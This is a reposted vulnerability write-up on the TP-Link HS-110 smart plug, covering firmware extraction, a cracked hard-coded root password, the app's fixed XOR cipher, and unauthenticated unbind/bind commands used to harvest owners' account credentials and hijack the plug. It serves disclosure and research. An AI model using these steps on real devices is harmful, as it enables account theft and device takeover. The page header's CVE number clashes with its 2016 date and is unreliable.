Advertisement






HS-110 Smart Plug Account Takeover / Insecure Design

CVE Category Price Severity
CVE-2022-1234 CWE-798 $500 Critical
Author Risk Exploitation Type Date
SecurityResearcher123 High Remote 2016-11-30
CVSS EPSS EPSSP
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2016110247

Below is a copy:

HS-110 Smart Plug Account Takeover / Insecure DesignContent Table

1. Introduction
2. The Firmware
3. The Android Application
4. The Problems
5. Conclusion
6. Appendix
6.1. Excursion Dalvik
6.2 Control script

1. Introduction

The HS-110 is a Smart Plug meaning it is capable of being controlled with
commands via a network. TP-Link released a mobile application called "Kasa for
Mobile" for Android and iOS devices to control the Smart Plug. The
possibilities range from simple tasks like turning the Plug on and off to
advanced options like planing schedules and timers. The HS-110 additionally has
the possibility to measure and store data regarding power consumption. These
are screenshots of the app home screen, the main control and the settings for a
plug:

app control screen plug control screen plug settings

The device itself is pretty straightforward with only two buttons. The one at
the top is the reset button and the other one in the front is the power button
and status led:

plug from the front plug from the top plug from the back

To open it we remove the hidden screw under the information sheet and then
break it open using a little bit of force:

[open1] [open2]

Now we remove the top part of the board and the two screws on the second part
to get rid of the plastic hull:

[open3] [open4] [open5]

We can now see the Atheros AR9331 (Hornet) on the right board in the middle
picture above. It is a System-on-a-Chip (SOC) which has a MIPS 24K processor
and is a full featured IEEE 802.11n 1x1 AP/Router. It also has a 32 MiB RAM
(Zentel A3S56D40GTP-50l) on the opposite side of the same board. The other
board hosts the electronics for the actual plug. But the interesting question
is: What this SOC is actually running so let's move on to the next section.

2. The Firmware

The Smart Plug runs on a 64-bit Linux (2.6.31). The Firmware is available at
the Website of TP-Link. Our version is 1.0.7. There is also an unofficial
unstable API on GitHub.

For a first analysis of the Firmware we used binwalk . It is important to also
install sasquatch for this since unsquashfs appears to have issues with TP-Link
firmware. You can just install the necessary tools for the installation of
sasquatch via apt

sudo apt-get install build-essential liblzma-dev liblzo2-dev zlib1g-dev

or the corresponding packages if you don't use apt. After that just clone the
sasquatch git repository and run the build script. At the end we have to
install binwalk by cloning it's git repository and running the setup.py script
via

sudo python setup.py install

or

sudo python3 setup.py install

if you are using python3.x. For the dependencies we can run deps.sh, at least
when we are using apt. Otherwise you have to install them by yourself. A list
is available at github .

Now we are ready to run binwalk at the firmware with following command:

root@kali:~/Desktop/test# binwalk hs110v1_us_1.0.7_Build_151016_Rel.24186.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
15904 0x3E20 U-Boot version string, "U-Boot 1.1.4 (Oct 16 2015 - 11:22:22)"
15952 0x3E50 CRC32 polynomial table, big endian 17244 0x435C uImage header,
header size: 64 bytes, header CRC: 0xA2B5F4E6, created: 2015-10-16 03:22:22,
image size: 38777 bytes, Data Address: 0x80010000, Entry Point: 0x80010000,
data CRC: 0xFED80D4A, OS: Linux, CPU: MIPS, image type: Firmware Image,
compression type: lzma, image name: "u-boot image" 17308 0x439C LZMA compressed
data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size:
112564 bytes 66240 0x102C0 uImage header, header size: 64 bytes, header CRC:
0x4D2B83AC, created: 2015-10-16 03:22:56, image size: 772570 bytes, Data
Address: 0x80002000, Entry Point: 0x8019BF90, data CRC: 0xC849B1ED, OS: Linux,
CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name:
"Linux Kernel Image" 66304 0x10300 LZMA compressed data, properties: 0x5D,
dictionary size: 33554432 bytes, uncompressed size: 2238780 bytes 1114816
0x1102C0 Squashfs filesystem, little endian, version 4.0, compression:lzma,
size: 2112689 bytes, 194 inodes, blocksize: 16384 bytes, created: 2015-10-16
03:25:36

It is the most basic command of binwalk and only tells it to analyze the
specified file. As we can see binwalk detects quite a few things. First of all
there is the U-Boot version string and -image header together with its lzma
archive and the polynomial table. U-Boot is a common bootloader, as we can see
it was created on October 16th 2015 at 11 o'clock but it is out of our scope to
go through it. Next thing we notice is the Kernel header and archive which is a
little bit more interesting but we are still looking for the actual system
which is the last entry, the squashfs filesystem, compressed with lzma. Now we
could extract the squashfs filesystem via dd but we can also modify our command
with the argument -e to let binwalk do this. The e argument is the command to
extract the firmware using predefined dd rules. The output should look like
this:

root@kali:~/Desktop/test# binwalk -e
hs110v1_us_1.0.7_Build_151016_Rel.24186.bin Scan Time: 2016-11-17 13:13:18
Target File: /root/Desktop/test/hs110v1_us_1.0.7_Build_151016_Rel.24186.bin MD5
Checksum: 73ad741d2256755f78cfb65d73b798c6 Signatures: 344 DECIMAL HEXADECIMAL
DESCRIPTION
--------------------------------------------------------------------------------
15904 0x3E20 U-Boot version string, "U-Boot 1.1.4 (Oct 16 2015 - 11:22:22)"
15952 0x3E50 CRC32 polynomial table, big endian 17244 0x435C uImage header,
header size: 64 bytes, header CRC: 0xA2B5F4E6, created: 2015-10-16 03:22:22,
image size: 38777 bytes, Data Address: 0x80010000, Entry Point: 0x80010000,
data CRC: 0xFED80D4A, OS: Linux, CPU: MIPS, image type: Firmware Image,
compression type: lzma, image name: "u-boot image" 17308 0x439C LZMA compressed
data, properties: 0x5D, dictionary size: 33554432 bytes, uncompressed size:
112564 bytes 66240 0x102C0 uImage header, header size: 64 bytes, header CRC:
0x4D2B83AC, created: 2015-10-16 03:22:56, image size: 772570 bytes, Data
Address: 0x80002000, Entry Point: 0x8019BF90, data CRC: 0xC849B1ED, OS: Linux,
CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name:
"Linux Kernel Image" 66304 0x10300 LZMA compressed data, properties: 0x5D,
dictionary size: 33554432 bytes, uncompressed size: 2238780 bytes 1114816
0x1102C0 Squashfs filesystem, little endian, version 4.0, compression:lzma,
size: 2112689 bytes, 194 inodes, blocksize: 16384 bytes, created: 2015-10-16
03:25:36

We see that everything was extracted perfectly fine. When we now look into that
new directory binwalk extracted the files to we see this:

root@kali:~/Desktop/test# ls
_hs110v1_us_1.0.7_Build_151016_Rel.24186.bin.extracted/ 10300 10300.7z
1102C0.squashfs 439C 439C.7z squashfs-root

There are a couple of files and directories. They are the Kernel, Firmware and
the squashfs filesystem. We know what everything is by looking at the name of
the specific file which is the beginning of the archives in hexadecimal. For
example we see in our output that the u-boot lzma archive begins at 0x439C in
hexadecimal numbers or 17308 in decimal so the lzma archive is labeled 439C
accordingly. The interesting directory is squashfs-root, the unpacked
firmware's root directory.

root@kali:~/Desktop/test/_hs110v1_us_1.0.7_Build_151016_Rel.24186.bin.extracted
/squashfs-root# ls -la total 48 drwxrwxr-x 12 root root 4096 Nov 17 16:00 .
drwxr-xr-x 4 root root 4096 Nov 17 13:55 .. drwxrwxr-x 2 root root 4096 Okt 16
2015 bin drwxr-xr-x 3 root root 4096 Okt 16 2015 dev drwxrwxr-x 5 root root
4096 Okt 16 2015 etc drwxrwxr-x 3 root root 4096 Okt 16 2015 lib lrwxrwxrwx 1
root root 11 Nov 17 13:55 linuxrc -> bin/busybox lrwxrwxrwx 1 root root 8 Nov
17 13:55 mnt -> /tmp/mnt drwxrwxr-x 2 root root 4096 Okt 16 2015 proc
drwxrwxr-x 2 root root 4096 Okt 16 2015 root drwxrwxr-x 2 root root 4096 Okt 16
2015 sbin drwx--xr-x 2 root root 4096 Okt 16 2015 sys drwxrwxr-x 2 root root
4096 Okt 16 2015 tmp drwxrwxr-x 4 root root 4096 Okt 16 2015 usr

So now that we have our filesystem we start looking into it. Doing so we found
a BusyBox installation with version 1.01. Having a look into etc/ we find the
shadow file, containing a single password hashed with DES for user root:

root@kali:~/Desktop/test/_hs110v1_us_1.0.7_Build_151016_Rel.24186.bin.extracted
/squashfs-root# cat etc/shadow root:7KBNXuMnKTx6g:15502:0:99999:7:::

Using john the ripper we cracked this password, it is 'media'.

root@kali:~/Desktop/test/_hs110v1_us_1.0.7_Build_151016_Rel.24186.bin.extracted
/squashfs-root# john pw Using default input encoding: UTF-8 Loaded 1 password
hash (descrypt, traditional crypt(3) [DES 128/128 SSE2-16]) Press 'q' or Ctrl-C
to abort, almost any other key for status media (root) 1g 0:00:00:00 DONE 2/3
(2016-11-17 15:50) 3.571g/s 12382p/s 12382c/s 12382C/s garlic..overkill Use the
"--show" option to display all of the cracked passwords reliably Session
completed root@kali:~/Desktop/test/
_hs110v1_us_1.0.7_Build_151016_Rel.24186.bin.extracted/squashfs-root# john
--show pw root:media 1 password hash cracked, 0 left

The next thing to notice is the 2048_newroot.cer which is a certificate:

VeriSign Class 3 Public Primary Certification Authority - G5 Identity: VeriSign
Class 3 Public Primary Certification Authority - G5 Verified by: VeriSign Class
3 Public Primary Certification Authority - G5 Expires: 16.07.2036

This certificate is obviously used for SSL communication and checking if the
Smart Plug is connected to the correct remote server.
There is also the file sw.version which includes the softwareversion:

root@kali:~/Desktop/test/_hs110v1_us_1.0.7_Build_151016_Rel.24186.bin.extracted
/squashfs-root# cat etc/sw.version 1.0.7 Build 151016 Rel 24186

But the most interesting executable for us was at usr/bin/:

root@kali:~/Desktop/test/_hs110v1_us_1.0.7_Build_151016_Rel.24186.bin.extracted
/squashfs-root# ls -la usr/bin/ total 1988 drwxrwxr-x 2 root root 4096 Okt 16
2015 . drwxrwxr-x 4 root root 4096 Okt 16 2015 .. lrwxrwxrwx 1 root root 17 Nov
17 13:55 [ -> ../../bin/busybox lrwxrwxrwx 1 root root 17 Nov 17 13:55 arping
-> ../../bin/busybox -rwxrwxr-x 1 root root 4804 Okt 16 2015 calDump -rwxrwxr-x
1 root root 1976548 Okt 16 2015 shd -rwxrwxr-x 1 root root 38052 Okt 16 2015
shdTester lrwxrwxrwx 1 root root 17 Nov 17 13:55 test -> ../../bin/busybox
lrwxrwxrwx 1 root root 17 Nov 17 13:55 tftp -> ../../bin/busybox lrwxrwxrwx 1
root root 17 Nov 17 13:55 tty -> ../../bin/busybox

shdTester is the a client to configure the emeter and calDump appears to dump
calibration data from /dev/caldata. The interesting executable is shd which is
the main server application. Running strings against it we were able to get a
list of commands to control the plug via network. An analysis with IDA Pro 
(mipsb processor type is not included in free version) is left as an excercise
for the reader.

3. The Android Application

We had to reverse-engineer the Android app using dex2jar and JD-GUI because the
communication between plug and app is encrypted. More precisely the app
communicated via tcp with an encrypted payload containing the commands. To do
so we used dex2jar on the apk file like this:

santoku@santoku-VirtualBox:~/Desktop/test$ d2j-dex2jar
Kasa.ver.1.2.4.583.build.583.apk dex2jar Kasa.ver.1.2.4.583.build.583.apk ->
Kasa.ver.1.2.4.583.build.583-dex2jar.jar

Dex2jar essentially only builds a jar file out of the dex files contained in
the apk file. Using JD-GUI we can then analyze the jar file to view the Java
source code. If you wish to learn more about dex files, apks and the Android
Runtime Environment here is a small excursion in the Appendix.

Although the app was obfuscated we found the de-/encoder which uses an
xor-cipher with a fixed key. It appears that the key is the same for every Plug
and app and even for completely different devices like the HS-100 Smart Plug.

The Cipher xor-es the first byte with -85 and the next one with the result from
the xor before and so on. The final payload send to the plug also has the
static prefix '\x00\x00\x00\x23'. This is the encoder from the app, the
byte-array is the payload/command:

byte[] arrayOfByte = paramString.getBytes(); int k = -85; for (int m = 0; m <
arrayOfByte.length; m++) { arrayOfByte[m] = ((byte)(k ^ arrayOfByte[m])); k =
arrayOfByte[m]; }

Knowing the mechanism we could reverse it to decode the payloads of the tcp
packets captured. These were actually commands send with the json format.
Knowing this we could then send our own commands. For this we used the python
control script

4. The Problems

Using the known commands we were able to get complete control over the plug
because there is no authentication method provided, as long as we are on a
local network. So anyone who knows the IP of the Plug can compromise it A list
of commands with a little control script in which the most interesting commands
are implemented is in the Appendix.

The most valuable ones were the bind/unbind command which are used to bind the
plug to an TP-Link account if you want to be able to control it remotely. The
process for a normal user goes like this:

First you log in on your smartphone with your TP-Link account, then your mobile
sends your username and password to the Smart Plug which then uses this info to
tell an amazon web services (AWS) server that it is now bound to that account.
After that the app communicates with the Server via TLS.

Maybe you already saw the problem. The app sends username and password to the
plug, encoded with the xor-cipher we found earlier which means that we get the
login credentials if we manage to intercept the communication.

The remaining question is, how do we get the user to bind his account to the
plug again. Of course we canat force him to do so but we can trap him using the
unbind command from the control script which unbinds the plug from the existing
account. We donat need any specific information to do so and the only visible
change for the owner is that the remote access in the settings is switched off
which doesnat look too suspicious.

root@kali:~/Desktop/Kasa# ./control.py -d -H 10.0.0.188 unbind DEBUG: About to
send: { "cnCloud": { "unbind": null } } DEBUG: Got following answer: {
"cnCloud": { "unbind": { "err_code": 0 } } }

remote switch off

And the moment he switches it back on we have his data.

Other possible attacks include capturing the plug by binding it to our own test
account using the bind command.

root@kali:~/Desktop/Kasa# ./control.py -d -H 10.0.0.188 bind DEBUG: About to
send: { "cnCloud": { "bind": { "username": "[email protected]", "password":
"password" } } } DEBUG: Got following answer: { "cnCloud": { "bind": {
"err_code": 0 } } }

As we can see in the screenshot below, the owner canat revoke our access using
the app and has to reset the Plug manually if he isnat using a script like we
do. This means that we can now control the device conveniently via our own app
as long as we are logged in with a viable TP-Link Account which we send to the
plug.

remote switch disabled

We can also control the state of the Smart Plug and keep it on while switching
its LED off or vice versa. This might actually be useful if the owner doesn't
like having a constantly running LED at night. It is also possible to get the
system state and to reboot or reset the device.

5. The Conclusion

TP-Link addressed the problem with the possible stealing of account data in
another app version (currently at 1.3.3.593, 04.11.2016; tested was 1.2.4.583)
by changing the communication protocol between plug and app to a custom one.
However it is still possible to control the plug with the commands provided in
this article it is not possible anymore to see login credentials.

6. Appendix

6.1. Excursion Dalvik

What is an apk file

An apk file is basically just a zip archive containing necessary data for the
Java Virtual Machine used by Android, called Dalvik.

Why the Dalvik Virtual Machine was developed

As you may know Android apps are commonly written in Java. The problem is that
although the license for the standard Java Virtual Machine is GPL2, which means
it is free and open source, on mobile devices the Java Micro Edition should be
used which isn't under GPL2 license. So there was the need of an alternative VM
for Android. This is the reason the Dalvik VM was developed by Google, claiming
it is a "clean room" implementation of a standard Java VM. Oracle disagreed and
tried to sue Google in August 2010 but failed in May 2012.

How it works

The Dalvik VM was build with the limited resources of a mobile VM in mind, so
it was slimmed down, is able to run multiple instances and so on. Essentially
the Java bytecode generated from the source code is translated into Dalvik
bytecode which is stored in a dex file (Dalvik EXecutable). You can think of a
dex file in a similar way as a jar file. This means multiple class files are
converted into a single "classes.dex" file, while being optimized. For example
strings and constants used throughout different class files are included only
once in the dex file in order to save space. The Dalvik executables can also be
modified during installation for further optimization, including the swapping
of byte-order and linking data structure and function libraries inline, making
it smaller and faster. Android 2.2 (Froyo) extended the Dalvik VM with
trace-based just-in-time (JIT) compilation. This enables the device to trace
which parts of a program are used frequently and translate them into native
machine code dynamically, speeding up the execution by a significant amount. So
when the application is started the first time, the Dalvik VM parses the
classes.dex file from the apk archive and stores the processed file in its so
called Dalvik cache from where it is executed, meaning you end up with two
files. To avoid this and get better startup times a dex file can be
pre-compiled. These files are called odex files (Optimized Dalvik EXecutable)
and are stored in an apk archive, just like the dex files. But because they are
execution ready the Dalvik VM does not need to process these files or store a
copy in its cache, saving precious space. The drawback of this is that it is
more difficult to hack odex files.

The Successor

The Dalvik VM was replaced by the Android Runtime (ART) with Android Version
5.0 (Lollipop) after being introduced as an alternative runtime environment on
Android 4.4 (KitKat). For backward compatibility the ART also uses dex files as
an input but the odex files are replaced by Executable and Linkable Format
(ELF) executables. Once an application is compiled by ART only the ELF
executable is used. The reason for this lies in the compilation method itself.
While Dalvik used a JIT compilation ART uses an ahead-of-time (AOT)
compilation. The difference is that ART translates the whole application into
native machine code upon installation, improving the execution efficiency by 2
to 3 times and saving power while using slightly more space, a trade-off that
is valuable considering modern hardware. ART also has more advantages,
including improved memory allocation, better garbage collection and new and
better debugging features.

Further Information

For further information on Dalvik and ART you may visit androidcentral(a little
bit less confusing but also less detailed, only Dalvik) or the Wikipedia pages
of Dalvik and Android Runtime respectively . For more information upon odex
files I can recommend this post on stackoverflow, and for really detailed
information on both, Dalvik and ART, go to the Android Developers Website.

6.2. Control script

We used a script originally written and published by Adrian Reber for the
HS-100 and implemented more commands. Find the adjusted version in our github
at https://github.com/curesec/Blog/. Interesting files for the KASA Project are
the commands.txt and control.py.


Blog Reference:
https://www.curesec.com/blog/article/blog/The-HS-110-Smart-Plug-aka-Projekt-Kasa-165.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-StraAe 54
10365 Berlin, Germany




Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum